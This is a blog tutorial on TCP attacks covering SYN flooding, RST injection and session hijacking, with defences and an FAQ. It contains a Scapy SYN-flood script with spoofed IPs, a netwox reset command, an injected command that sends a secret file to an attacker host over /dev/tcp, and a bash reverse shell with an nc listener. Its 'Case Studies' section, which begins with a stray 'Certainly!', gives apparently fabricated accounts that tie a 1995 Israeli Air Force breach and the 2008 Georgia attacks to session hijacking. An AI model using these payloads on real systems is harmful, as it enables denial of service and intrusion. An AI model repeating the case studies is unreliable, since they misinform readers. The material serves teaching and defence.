26:I[10218,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogComments"] 27:I[19280,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogSidebar"] 25:T92f7,

Hey there! In this article, we're going to dive into the fascinating world of TCP and the various attacks that can target it. First off, what is TCP, and why should we care about it?

TCP, or Transmission Control Protocol, is one of the core protocols of the Internet Protocol Suite. It plays a crucial role in how our devices communicate over the internet. Whenever you send an email, stream a video, or browse a website, TCP is working behind the scenes to ensure that the data you're sending and receiving gets to its destination accurately and in the right order.

But just like anything important, TCP can be a target for attacks. These attacks can disrupt communications, steal information, and cause all sorts of headaches for both individuals and organizations.

So, let's get started and explore the different types of TCP attacks, how they work, and what we can do to defend against them. Let's jump in!

Fundamentals of TCP

Alright, let's get into the basics of TCP and understand what makes it tick. TCP, or Transmission Control Protocol, is a fundamental part of how our devices talk to each other over the internet. Here's a quick rundown of what you need to know.

TCP/IP Model

The TCP/IP model is a framework that describes how data is transmitted over the internet. It consists of four layers:

Application Layer: Where applications like web browsers and email clients operate.
Transport Layer: Responsible for providing reliable data transfer. This is where TCP lives.
Internet Layer: Handles the movement of packets across the network, using IP addresses.
Network Interface Layer: Concerned with the physical transmission of data over the network.

TCP Handshake Process

One of the coolest things about TCP is its handshake process, which ensures a reliable connection between two devices. Here’s how it works:

SYN (Synchronize): The client sends a SYN packet to the server to start the connection.
SYN-ACK (Synchronize-Acknowledge): The server responds with a SYN-ACK packet, acknowledging the client's request and asking to establish a connection.
ACK (Acknowledge): The client sends an ACK packet back to the server, confirming the connection.

And just like that, the connection is established, and data can start flowing between the client and server.

TCP Session Termination

Ending a TCP connection is just as important as starting one. The process involves a four-step termination sequence:

FIN (Finish): The device that wants to end the connection sends a FIN packet.
ACK: The other device acknowledges the FIN packet.
FIN: The second device sends its own FIN packet to indicate it’s ready to close the connection.
ACK: Finally, the first device acknowledges this FIN packet, and the connection is closed.

This orderly process ensures that both devices know the connection is closing and can wrap things up cleanly.

Why TCP?

So, why do we use TCP? Well, it’s all about reliability. TCP ensures that data sent from one device arrives correctly and in the right order at the other device. It handles things like packet loss, data corruption, and retransmissions automatically. This makes it perfect for applications where you can't afford to lose data, like web browsing, emails, and file transfers.

Now that we've covered the basics of TCP, we're ready to dive into the various types of attacks that can target this protocol. Understanding how TCP works is the first step in understanding how attackers can exploit it, so let's keep going!

Types of TCP Attacks

Now that we’ve got a handle on the fundamentals of TCP, let’s dive into the darker side of things: the various types of attacks that can target TCP. These attacks can disrupt communications, steal information, and generally cause a lot of trouble. Here’s an overview of some of the most common TCP attacks.

Denial of Service (DoS) Attacks

DoS attacks aim to make a network service unavailable to its intended users by overwhelming it with a flood of unnecessary traffic. Here are a couple of common DoS attacks targeting TCP:

SYN Flood Attack: This one’s a classic. It exploits the TCP handshake process. An attacker sends a barrage of SYN packets to a server, but never completes the handshake by sending the final ACK packet. This leaves the server with a bunch of half-open connections, eventually exhausting its resources and preventing legitimate users from connecting.
ACK Flood Attack: Similar to the SYN flood, this attack involves sending a flood of ACK packets to the target. It’s designed to consume the server’s resources and bandwidth, causing it to slow down or crash.

Man-in-the-Middle (MITM) Attacks

In a MITM attack, the attacker intercepts and possibly alters the communication between two parties without them knowing. Here’s how it works with TCP:

Session Hijacking is a core network security concept in cybersecurity. It describes techniques, risks, or controls that defenders and ethical hackers must understand to protect systems and conduct authorized security testing. Learning TCP Session Hijacking helps you recognize attacks in the wild and apply industry-standard mitigations aligned with frameworks like OWASP and NIST.">TCP Session Hijacking: The attacker takes over an existing TCP session by predicting the sequence numbers of the TCP packets. Once they’ve hijacked the session, they can intercept, modify, or inject data into the communication stream.

TCP Reset Attack

This attack involves sending forged TCP RST (reset) packets to one or both ends of a TCP connection. When a device receives a RST packet, it immediately terminates the connection. Attackers can use this to disrupt ongoing communications by tricking the devices into thinking the connection is no longer valid.

TCP Sequence Prediction Attack

In this attack, the attacker predicts the sequence numbers of TCP packets. By correctly guessing the sequence number, the attacker can insert malicious packets into the communication stream, posing as a legitimate participant in the conversation. This can lead to data interception or connection hijacking.

Slowloris Attack

The Slowloris attack targets web servers by holding connections open for as long as possible. The attacker sends partial HTTP requests, keeping the connections open but incomplete. This can exhaust the server’s resources, making it unable to handle legitimate requests. While this attack is more commonly associated with HTTP, it leverages the underlying TCP connection management.

Detailed Analysis of Major TCP Attacks

Now that we’ve covered the types of TCP attacks, let's dive deeper into some of the major ones. We'll explore how they work, their impact, and provide real-world examples.

#1. SYN Flooding Attack

The SYN flooding attack is a type of Denial of Service (DoS) attack that targets the TCP handshake process. The idea behind this attack is to fill the queue that stores half-open connections, making it impossible for the server to accept any new SYN packets. Let's break down the steps and details involved in this attack.

Mechanism

The goal is to flood the server with a large number of SYN packets, thereby consuming the space in the queue by inserting TCP Control Block (TCB) records. These records hold the state of each half-open connection. The attack ensures that the third step of the TCP handshake (sending the ACK packet) is never completed, keeping the TCB records in the queue and eventually exhausting the server's resources.

Steps to Achieve a SYN Flooding Attack:

Send a Flood of SYN Packets:

Continuously send a large number of SYN packets to the server.
Each SYN packet initiates a new connection request, causing the server to allocate space for a TCB record.

Avoid Completing the Handshake:

Do not send the final ACK packet that completes the handshake.
By not completing the handshake, the TCB record remains in the queue.

Use Random Source IP Addresses:

To evade detection and blocking by firewalls, use random or spoofed source IP addresses for the SYN packets.
Forged IP addresses make it harder for the server to differentiate between legitimate and malicious traffic.

Handle Server's SYN-ACK Responses:

The server responds to each SYN packet with a SYN-ACK packet.
If the SYN-ACK packet reaches a non-existent or unassigned IP address, it will be dropped.
If it reaches an existing machine, a RST (reset) packet will be sent, and the TCB will be dequeued.
The latter scenario is less common, so most TCB records will remain in the queue.

Launching the Attack

Before launching a SYN flooding attack, certain preparations and configurations need to be made:

Turn Off SYN Cookies:

SYN cookies are a countermeasure to SYN flooding attacks. To launch the attack effectively, turn off this feature.
Use the command: sudo sysctl -w net.ipv4.tcp_syncookies=0

Using Tools to Launch the Attack:

Tools like netwox can be used to generate and send SYN packets.
Custom scripts can also be written to spoof IP addresses and send SYN packets.

Results and Observations

During and after launching the attack, you can observe the following:

Half-Open Connections:

Using the netstat command, you can see a large number of half-open connections on the targeted port (e.g., port 23 for telnet).
These connections will have random source IP addresses, indicating they are part of the attack.

Server Performance:

Using the top command, you can monitor the server's CPU usage.
Typically, the CPU usage is not significantly high, meaning the server is still functioning normally for other services.
However, the server will be unable to accept new connections on the targeted service (e.g., telnet), effectively causing a denial of service for that specific application.

Example: Spoofing Code for SYN Flooding

Here’s a simplified example of how you might write a script to launch a SYN flood attack with IP spoofing in Python using the Scapy library:

from scapy.all import *

target_ip = "192.168.1.1"
target_port = 23

def syn_flood(target_ip, target_port):
    while True:
        # Generate a random source IP address
        src_ip = RandIP()
        # Generate a random source port
        src_port = RandShort()
        # Create the IP packet
        ip_packet = IP(src=src_ip, dst=target_ip)
        # Create the TCP SYN packet
        tcp_packet = TCP(sport=src_port, dport=target_port, flags="S")
        # Combine the IP and TCP packets
        packet = ip_packet/tcp_packet
        # Send the packet
        send(packet, verbose=0)

# Launch the attack
syn_flood(target_ip, target_port)

This script sends a continuous stream of SYN packets with random source IP addresses to the target server.

The SYN flooding attack is a powerful method to disrupt network services by exploiting the TCP handshake process.

#2. TCP Reset Attack

A TCP Reset (RST) attack is a method used to disrupt an established TCP connection by injecting a forged packet with the RST flag set. This causes the connection to be terminated immediately. Let's delve into how this attack works and how it can be applied in different scenarios.

Mechanism

The goal of a TCP reset attack is to break an existing TCP connection between two parties (let’s call them A and B). Here's how a TCP connection is normally terminated and how a reset attack disrupts it:

Normal TCP Connection Termination:

A sends a FIN packet to B.

This indicates that A wants to close the connection.

B replies with an ACK packet.

This acknowledges A’s request and closes the A-to-B communication.

B sends a FIN packet to A.

This indicates that B also wants to close the connection.

A replies with an ACK packet.

This acknowledges B’s request, and the connection is fully closed.

Using the Reset (RST) Flag:

One of the parties (either A or B) sends an RST packet.

This packet immediately breaks the connection without the need for the FIN-ACK handshake.

Spoofed RST Packet

To successfully send a spoofed RST packet, the following fields must be set correctly:

Source IP Address
Source Port
Destination IP Address
Destination Port
Sequence Number (must be within the receiver’s acceptable window)

Steps to Perform a TCP Reset Attack

1. Capture TCP Connection Data:

Use a packet-sniffing tool like Wireshark on the attacker's machine to monitor the traffic.
Identify the source and destination IP addresses, source and destination port numbers, and the sequence number of the ongoing TCP connection.

2. Craft and Send the RST Packet:

Using the captured data, construct a TCP packet with the RST flag set.
Ensure that the sequence number is within the acceptable window of the target's TCP stack.
Send the spoofed packet to the target.

Practical Examples

TCP Reset Attack on Telnet Connection:

Sniff the traffic using Wireshark to capture the details of the ongoing Telnet session (port 23).
Retrieve the necessary data (source port, destination port, and sequence number).
Craft a RST packet with this information and send it to the target machine to break the Telnet connection.

TCP Reset Attack on SSH Connections:

Although SSH encrypts the payload, the TCP header remains unencrypted. Therefore, a TCP reset attack is still feasible.
Follow the same steps as the Telnet attack to disrupt the SSH connection.

TCP Reset Attack on Video-Streaming Connections:

The main difference here is that sequence numbers increase rapidly due to the high volume of data transfer.
Use tools like Netwox (tool 78) to automate the process of sending RST packets for each incoming packet.
Continuously reset the connection, disrupting the video-streaming experience (e.g., on a YouTube video).

Example Using Netwox

To launch a TCP reset attack on a video-streaming connection, you might use Netwox tool 78 as follows:

Identify the target IP address and port:

In this example, the user machine has the IP address 10.0.2.18.

Execute the command:

   netwox 78 -i 10.0.2.18 -p 80 --tcp-rst

This command sends RST packets to any connection from 10.0.2.18 to port 80 (typically used for HTTP video streaming).

Mitigation Strategies

Use SYN Cookies: These help mitigate SYN flood attacks but also add complexity to other types of attacks.
Implement Intrusion Detection Systems (IDS): IDS can detect abnormal traffic patterns and alert administrators.
Secure Communication Channels:

Encrypt traffic at the network layer (e.g., using IPsec) to protect TCP headers from being visible to attackers.

Use Randomized Initial Sequence Numbers (ISNs):

This makes it harder for attackers to predict the sequence numbers necessary to spoof RST packets.

TCP reset attacks exploit the TCP protocol's behavior to disrupt established connections quickly.

#3. TCP Session Hijacking Attack

A TCP session hijacking attack aims to inject malicious data into an established connection by manipulating the TCP packets exchanged between two parties. This attack requires crafting a spoofed TCP packet with specific fields set correctly to deceive the receiving end. Let's explore the details of this attack, particularly focusing on hijacking a Telnet connection and executing a reverse shell.

Mechanism

To successfully inject data into an existing TCP connection, the attacker must correctly spoof the following fields in a TCP packet:

Source IP Address
Source Port
Destination IP Address
Destination Port
Sequence Number (must be within the receiver’s acceptable window)

Understanding the Sequence Number:

The receiver expects the next sequence number to be the last received sequence number plus one (x+1).
If a spoofed packet has a sequence number as x+𝛿, where 𝛿 is within the receiver's window, the packet data is buffered out of order.
If 𝛿 is too large, the packet may be discarded as out of range.

Steps to Hijack a Telnet Connection

1. Establish a Telnet Connection:

The user connects to a Telnet server.

2. Sniff Traffic:

Use Wireshark or another packet-sniffing tool on the attacker's machine to monitor the traffic between the user and the server.
Capture the destination port (e.g., 23 for Telnet), the source port (e.g., 46712), and the sequence number of the TCP packets.

3. Craft the Spoofed Packet:

Using the captured data, create a TCP packet with the correct source and destination IP addresses, ports, and sequence number within the acceptable window.

Running Arbitrary Commands

To effectively hijack the session and run commands, consider what you want to achieve. For example, if there is a top-secret file called "secret" on the server, using the cat command will display the file's contents on the server itself, not on the attacker's machine. To capture this data:

1. Redirect Output to the Attacker's Machine:

Modify the command to redirect the output to a TCP connection with the attacker's machine:

   cat secret > /dev/tcp/10.0.2.16/9090

This command redirects the output of the cat secret command to a pseudo-device file that creates a connection to the attacker's machine listening on port 9090.

2. Set Up a Listening Server:

On the attacker's machine, set up a simple TCP server to receive the data:

   nc -l -p 9090

This will listen on port 9090 and display any incoming data.

Launching the Attack

1. Turn Off Countermeasures (if necessary):

Ensure the target system does not have countermeasures that could block the attack (e.g., SYN cookies).

2. Execute the Attack:

Use tools or scripts to send the spoofed packet with the crafted command to the server.
For example, a Python script with Scapy to send the packet:

   from scapy.all import *

   target_ip = "192.168.1.1"
   target_port = 23
   source_ip = "192.168.1.2"
   source_port = 46712
   sequence_num = 123456

   packet = IP(src=source_ip, dst=target_ip) / TCP(sport=source_port, dport=target_port, seq=sequence_num, flags="PA") / "cat secret > /dev/tcp/10.0.2.16/9090\n"
   send(packet)

Creating a Reverse Shell

A more powerful and flexible attack is to establish a reverse shell, allowing the attacker to execute arbitrary commands on the server:

1. Construct the Reverse Shell Command:

A typical reverse shell command might look like:

   /bin/bash -i > /dev/tcp/10.0.2.16/9090 0<&1 2>&1

2. Set Up a Listener:

On the attacker's machine, listen for the incoming connection:

   nc -l -p 9090

3. Inject the Spoofed Packet:

Similar to the previous example, craft a packet with the reverse shell command and send it to the target.

Defending Against Session Hijacking

1. Randomize Source Port Numbers:

This makes it harder for attackers to guess the correct port numbers.

2. Randomize Initial Sequence Numbers (ISNs):

Using unpredictable ISNs prevents attackers from easily predicting sequence numbers needed to spoof packets.

3. Encrypt Payloads:

Encrypting data at the transport layer (e.g., using TLS) ensures that even if an attacker captures packets, they cannot read or manipulate the data.

4. Implement Intrusion Detection Systems (IDS):

IDS can detect abnormal patterns in traffic that might indicate an ongoing session hijacking attempt.

What Happens to the Hijacked TCP Connection

After a successful TCP session hijacking attack, the hijacked TCP connection experiences disruptions and eventually freezes due to the injected data and manipulation of sequence numbers. Here's what happens to the connection:

Freezing of User Terminal:

On the user's machine, when attempting to type something in the Telnet terminal, the program freezes and becomes unresponsive.

TCP Retransmissions:

Wireshark analysis reveals numerous retransmission packets between the user's machine (IP: 10.0.2.18) and the server (IP: 10.0.2.17).

Sequence Number Disruption:

The injected data by the attacker disrupts the sequence numbers from the user (client) to the server.
When the server replies to the spoofed packet, it acknowledges a sequence number (plus the payload size) created by the attacker.
However, the user has not reached that sequence number yet, leading to the user discarding the reply packet from the server without acknowledgment.

Deadlock Situation:

The user's Telnet program continues to resend data, and the server keeps retransmitting its response packet, leading to a deadlock situation.
The server thinks its packet is lost because it's not acknowledged, so it keeps retransmitting.
On the other hand, the user's Telnet program resends data, but the server ignores it as duplicate data since the sequence number has already been used by the attacker's packet.
This cycle continues indefinitely, causing both the client and the server to keep resending their data to each other and dropping the data from the other side.

Disconnection by TCP:

Eventually, due to the persistent deadlock situation, TCP protocol mechanisms detect the abnormality and disconnect the connection.

Case Studies

Certainly! Here are two case studies illustrating real-world instances of TCP session hijacking attacks:

Case Study 1: 1995 Attack on Israel's Air Force

Background:
In 1995, a group of hackers managed to breach Israel's Air Force computer systems using TCP session hijacking techniques. The attackers gained unauthorized access to sensitive military information, including aircraft schedules, pilot information, and flight plans.

Method:
The attackers exploited vulnerabilities in the TCP/IP protocol stack to hijack established sessions between Air Force computers. By injecting malicious data into these sessions and manipulating sequence numbers, they were able to compromise the integrity and confidentiality of the communication.

Impact:

The breach compromised the security of Israel's Air Force operations, potentially exposing critical military secrets to hostile actors.
It raised concerns about the vulnerability of military networks to cyber attacks and highlighted the need for enhanced cybersecurity measures.

Response:

Following the attack, Israel's military authorities launched an extensive investigation to identify the perpetrators and assess the damage.
The incident led to the implementation of stricter cybersecurity protocols and the adoption of advanced intrusion detection and prevention systems to prevent similar attacks in the future.

Case Study 2: 2008 Georgia Cyberwarfare Attack

Background:
In August 2008, during the Russo-Georgian War, Georgia experienced a wave of cyber attacks targeting government and media websites. The attacks coincided with military operations between Georgia and Russia.

Method:
Among the various cyber attacks deployed during the conflict, TCP session hijacking played a significant role. Attackers exploited vulnerabilities in Georgia's network infrastructure to intercept and manipulate TCP sessions, disrupting communication channels and causing confusion among government agencies and media outlets.

Impact:

The cyber attacks disrupted government services, including websites and communication systems, hindering Georgia's ability to respond effectively to the conflict.
Media outlets faced difficulties in disseminating information, leading to misinformation and confusion among the public and international observers.

Response:

In response to the cyber attacks, Georgia sought assistance from international partners and cybersecurity experts to bolster its defenses and mitigate the ongoing threat.
The incident highlighted the growing use of cyber warfare tactics in modern conflicts and underscored the importance of cybersecurity preparedness for governments and organizations worldwide.

These case studies demonstrate the disruptive potential of TCP session hijacking attacks and their significant impact on critical infrastructure and national security.

Frequently Asked Questions (FAQ)

1. What is TCP session hijacking?
TCP session hijacking is a form of cyber attack where an unauthorized party intercepts an ongoing TCP session between two communicating hosts and assumes control over the session. This enables the attacker to inject malicious data or manipulate the communication without the knowledge of the legitimate parties involved.

2. How does TCP session hijacking work?
In a TCP session hijacking attack, the attacker first intercepts the TCP session by exploiting vulnerabilities in the network or the TCP/IP protocol stack. Once the session is intercepted, the attacker manipulates sequence numbers or injects malicious packets to disrupt or control the communication between the legitimate parties.

3. What are the consequences of a TCP session hijacking attack?
The consequences of a TCP session hijacking attack can be severe and varied. Depending on the attacker's intentions and the nature of the intercepted communication, the consequences may include unauthorized access to sensitive information, disruption of critical services, loss of data integrity, and compromised network security.

4. How can organizations defend against TCP session hijacking attacks?
Organizations can implement several measures to defend against TCP session hijacking attacks, including:

Regularly updating and patching network infrastructure and systems to mitigate known vulnerabilities.
Implementing strong encryption protocols, such as Transport Layer Security (TLS), to protect communication channels.
Deploying intrusion detection and prevention systems (IDPS) to monitor network traffic for suspicious activity and anomalous behavior.
Segmenting networks to limit the impact of potential breaches and isolating critical assets from less secure environments.

5. What are some real-world examples of TCP session hijacking attacks?
Real-world examples of TCP session hijacking attacks include the 1995 attack on Israel's Air Force computer systems and the 2008 cyberwarfare attack on Georgia during the Russo-Georgian War. These incidents highlight the potential impact of TCP session hijacking on critical infrastructure and national security.

6. How can individuals protect themselves from TCP session hijacking attacks?
Individuals can take several steps to protect themselves from TCP session hijacking attacks, including:

Using virtual private network (VPN) services to encrypt internet traffic and protect against interception.
Avoiding public Wi-Fi networks and using secure, encrypted connections whenever possible.
Keeping software and devices up to date with the latest security patches and updates.
Being cautious when clicking on links or downloading attachments from unknown or suspicious sources to minimize the risk of malware infection.

These FAQs provide a comprehensive overview of TCP session hijacking, its implications, and strategies for prevention and mitigation. For further information or assistance, individuals and organizations are encouraged to consult cybersecurity professionals or industry experts.

📢 Enjoyed this article? Connect with us On Telegram Channel and Community for more insights, updates, and discussions on Your Topic.

20:["$","div",null,{"className":"blog-prose text-base leading-relaxed text-[var(--hm-text)]","children":["$","div",null,{"dangerouslySetInnerHTML":{"__html":"$25"}}]}] 22:["$","$L26",null,{"slug":"exploring-attacks-on-tcp"}] 23:["$","$L27",null,{"promos":[],"latest":[{"slug":"how-to-become-a-soc-analyst-without-a-degree","title":"How to Become a SOC Analyst Without a Degree (2026 Guide)","featuredImage":"/uploads/2026/general/1784639602532-worqqx.webp"},{"slug":"social-engineering-attack-life-cycle-the-art-of-human-hacking","title":"Social Engineering Attack Life Cycle: The Art of Human Hacking","featuredImage":null},{"slug":"best-beginner-javascript-projects-for-hacking","title":"Best Beginner JavaScript Projects for Hacking (2026 Guide)","featuredImage":"https://codelivly.com/wp-content/uploads/2026/02/javascript-for-hacking.jpg"},{"slug":"what-is-a-security-operations-center","title":"What Is a Security Operations Center (SOC)?","featuredImage":null},{"slug":"owasp-top-10-explained-beginners","title":"OWASP Top 10 Explained for Beginners","featuredImage":null}]}] 28:T448,[{"@context":"https://schema.org","@type":"TechArticle","headline":"Exploring Attacks on TCP - A Detailed Guide","description":"Hey there! In this article, we're going to dive into the fascinating world of TCP and the various attacks that can target it. First off, what is TCP, and why should we care about it? TCP, or Transmiss","image":"https://codelivly.com/wp-content/uploads/2024/05/attack-on-tcp-1.webp","url":"https://codelivly.com/exploring-attacks-on-tcp","datePublished":"2024-05-29T16:33:19.000Z","dateModified":"2024-05-29T16:33:19.000Z","wordCount":6235,"author":{"@type":"Person","name":"rocky"},"publisher":{"@type":"Organization","@id":"https://codelivly.com/#organization","name":"Codelivly"}},{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://codelivly.com"},{"@type":"ListItem","position":2,"name":"Blog","item":"https://codelivly.com/blog"},{"@type":"ListItem","position":3,"name":"Exploring Attacks on TCP - A Detailed Guide","item":"https://codelivly.com/exploring-attacks-on-tcp"}]}]1e:["$","script",null,{"type":"application/ld+json","nonce":"vAZgNObWGWxmvUCK/Ge/oA==","dangerouslySetInnerHTML":{"__html":"$28"}}]